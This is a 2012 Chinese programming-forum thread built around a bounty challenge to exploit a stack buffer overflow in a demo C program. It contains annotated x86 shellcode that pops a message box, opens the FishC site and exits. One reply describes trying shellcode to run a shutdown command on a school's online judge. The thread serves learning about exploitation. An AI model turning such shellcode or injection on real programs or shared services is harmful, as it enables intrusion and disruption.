鱼C论坛

 找回密码
 立即注册
查看: 14520|回复: 130

悬赏一百鱼币,大家一起学习C语言溢出漏洞的利用,有木有?!

  [复制链接]
发表于 2012-8-8 22:15:12 | 显示全部楼层
本帖最后由 五月跳回家 于 2012-8-9 11:24 编辑

shellcode
  1. "\x66\x69\x73\x68"//前面填充80个字节栈
  2. "\x12\x45\xfa\x7f"//jmp esp(原eip)
  3. "\x33\xDB\x53"//xor ebx,ebx
  4. "\x68\x63\x6F\x6D\x21"//push    216D6F63
  5. "\x68\x73\x68\x63\x2E"//push    2E636873
  6. "\x68\x6F\x5F\x66\x69"//push    69665F6F
  7. "\x68\x6D\x65\x5F\x74"//push    745F656D
  8. "\x68\x65\x6C\x63\x6F"//push    6F636C65
  9. "\x68\x5E\x5F\x5E\x77"//push    775E5F5E;   ascii ^_^welcome_to_fishc.com!
  10. "\x8B\xC4"//mov     eax, esp
  11. "\x53"//push    ebx
  12. "\x50"//push    eax
  13. "\x50"//push    eax
  14. "\x53"//push    ebx
  15. "\xB8\x11\xEA\x34\x75"//mov eax,0x7534EA11 ;   我电脑上MessageBoxA的地址
  16. "\xFF\xD0"//call eax
  17. "\x53"//push        ebx
  18. "\xB8\xFA\xCA\x81\x7C"//mov     eax, 7C81CAFA
  19. "\xFF\xD0";//call eax;      exit(0)
复制代码

fishc.jpg

password.rar

185 Bytes, 下载次数: 71

password.txt

小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 23:04:14 | 显示全部楼层
栈溢出了   
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-9 00:42:58 | 显示全部楼层
本帖最后由 五月跳回家 于 2012-8-9 01:05 编辑


就算shellcode写好了,但有些数字没ASCII码的,如果要表示0x7ffa4512这个地址,用ASCII码怎么表示
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-9 02:03:47 | 显示全部楼层
小甲鱼 发表于 2012-8-9 01:55
可以用UE在十六进制下编辑即可。

0xfa是一个?,MessageBoxA地址,不同系统不同的吧
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-9 11:13:56 | 显示全部楼层
颓废的青春 发表于 2012-8-9 09:02
为什么我电脑上不行啊,总是停止运行

不同系统MessageBoxA的地址不同,把那个地址的地方改掉
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-9 14:52:06 | 显示全部楼层
小甲鱼 发表于 2012-8-8 22:49
算算难度好像没那么大,所以改200鱼币~

200鱼币这活动还有么,我写好了
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-9 15:07:33 | 显示全部楼层
本帖最后由 五月跳回家 于 2012-8-9 15:09 编辑
小甲鱼 发表于 2012-8-9 15:04
哟西,有的,把答案和具体的思路提交下即可哦~真不错~
给shellcode吧

  1. char password[]=
  2. "a\x41\x41\x41"
  3. "\x66\x69\x73\x68"


  4. "\x66\x69\x73\x68"//前面填充80个字节栈
  5. "\x12\x45\xfa\x7f"//jmp esp(原eip)
  6. //MessageBoxA;
  7. "\x33\xDB\x53"//xor ebx,ebx
  8. "\x68\x63\x6F\x6D\x21"//push    216D6F63
  9. "\x68\x73\x68\x63\x2E"
  10. "\x68\x6F\x5F\x66\x69"
  11. "\x68\x6D\x65\x5F\x74"
  12. "\x68\x65\x6C\x63\x6F"//push    6F636C65
  13. "\x68\x5E\x5F\x5E\x77"//push    775E5F5E//ascii ^_^welcome_to_fishc.com!
  14. "\x8B\xC4"//mov     eax, esp
  15. "\x53"//push    ebx
  16. "\x50"
  17. "\x50"//push    eax
  18. "\x53"
  19. "\xB8\x11\xEA\x34\x75"//mov eax,0x7534EA11 ;我电脑上MessageBoxA的地址
  20. "\xFF\xD0"//call eax
  21. //system("start www.fishc.com");

  22. "\x55"                                        //push    ebp
  23. "\x8B\xEC"                                //mov     ebp, esp
  24. "\x83\xEC\x20"                        //sub     esp, 20
  25. "\xB8\x73\x74\x61\x72"        //mov     eax, 72617473
  26. "\x89\x45\xE4"                        //mov     dword ptr [ebp-1C], eax
  27. "\xB8\x74\x20\x77\x77"        //www.fishc.com
  28. "\x89\x45\xE8"                        
  29. "\xB8\x77\x2E\x66\x69"        
  30. "\x89\x45\xEC"                        //....
  31. "\xB8\x73\x68\x63\x2E"        //....
  32. "\x89\x45\xF0"                        //....
  33. "\x66\xC7\x45\xF4\x63\x6F"
  34. "\xC6\x45\xF6\x6D"
  35. "\x33\xC0"                                //xor     eax, eax
  36. "\x88\x45\xF7"                        
  37. "\x8D\x7D\xE4"                        
  38. "\x57"                                       
  39. "\xBA\x77\xB1\x4C\x75"        //system地址
  40. "\xFF\xD2"                                //call    edx ;
  41. //ExitProcess(0);
  42. "\x53"//push        ebx
  43. "\xB8\xE2\xBB\xAC\x75"//mov     eax,  75ACBBE2   ;ExitProcess
  44. "\xFF\xD0";                        //call eax;*/
复制代码

评分

参与人数 1鱼币 +200 收起 理由
小甲鱼 + 200 赞一个!

查看全部评分

小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-9 16:06:12 | 显示全部楼层
Sì曾相識♂ 发表于 2012-8-9 14:39
竟然被人抢先了一部,想搞懂这个的,建议出看一下看雪论坛出品的书《0Day安全:软件漏洞分析技术》。甲鱼兄 ...

昨天通宵刷的
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-9 17:45:16 | 显示全部楼层
小甲鱼 发表于 2012-8-9 16:39
看来还是酱紫的模式比较促进学习哈~

甲鱼哥,我打开那网站使用system("start www.fishc.com");来的,中间有个空格,我那个纠结啊
后来才想到fscanf( fp, "%s", password );来读读到空格就结束了,它就不读了,肏程序崩溃,你把
fscanf( fp, "%s", password );改成fgets(password,1024,fp);吧,就当降低难度
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-8-9 17:54:52 | 显示全部楼层
Tzdner_C 发表于 2012-8-9 17:39
可以用 GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA");   把这个也写进文件里面,只是有些麻 ...

LoadLibraryA的地址貌似也不同
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2012-9-23 22:26:34 | 显示全部楼层
dongrui 发表于 2012-9-23 18:11
先是淹没数组,再淹没返回值,接着淹没ebp指针,就是没看懂你代码第一行怎么实现淹没这88个字节,我觉得好 ...

嗯,。写shellcode蛋疼啊:dizzy:,
学校有acm比赛,把代码交到平台上,自动判题,但限制使用api等恶意输入,,
然后我想利用shellcode调用api,获取kernel32基址再->导出表->GetProcAddress->LoadLibrary.......就调用了一个system("shutdown -s -t 60");代码交上去,没用,蛋疼啊
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2025-11-6 02:59

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表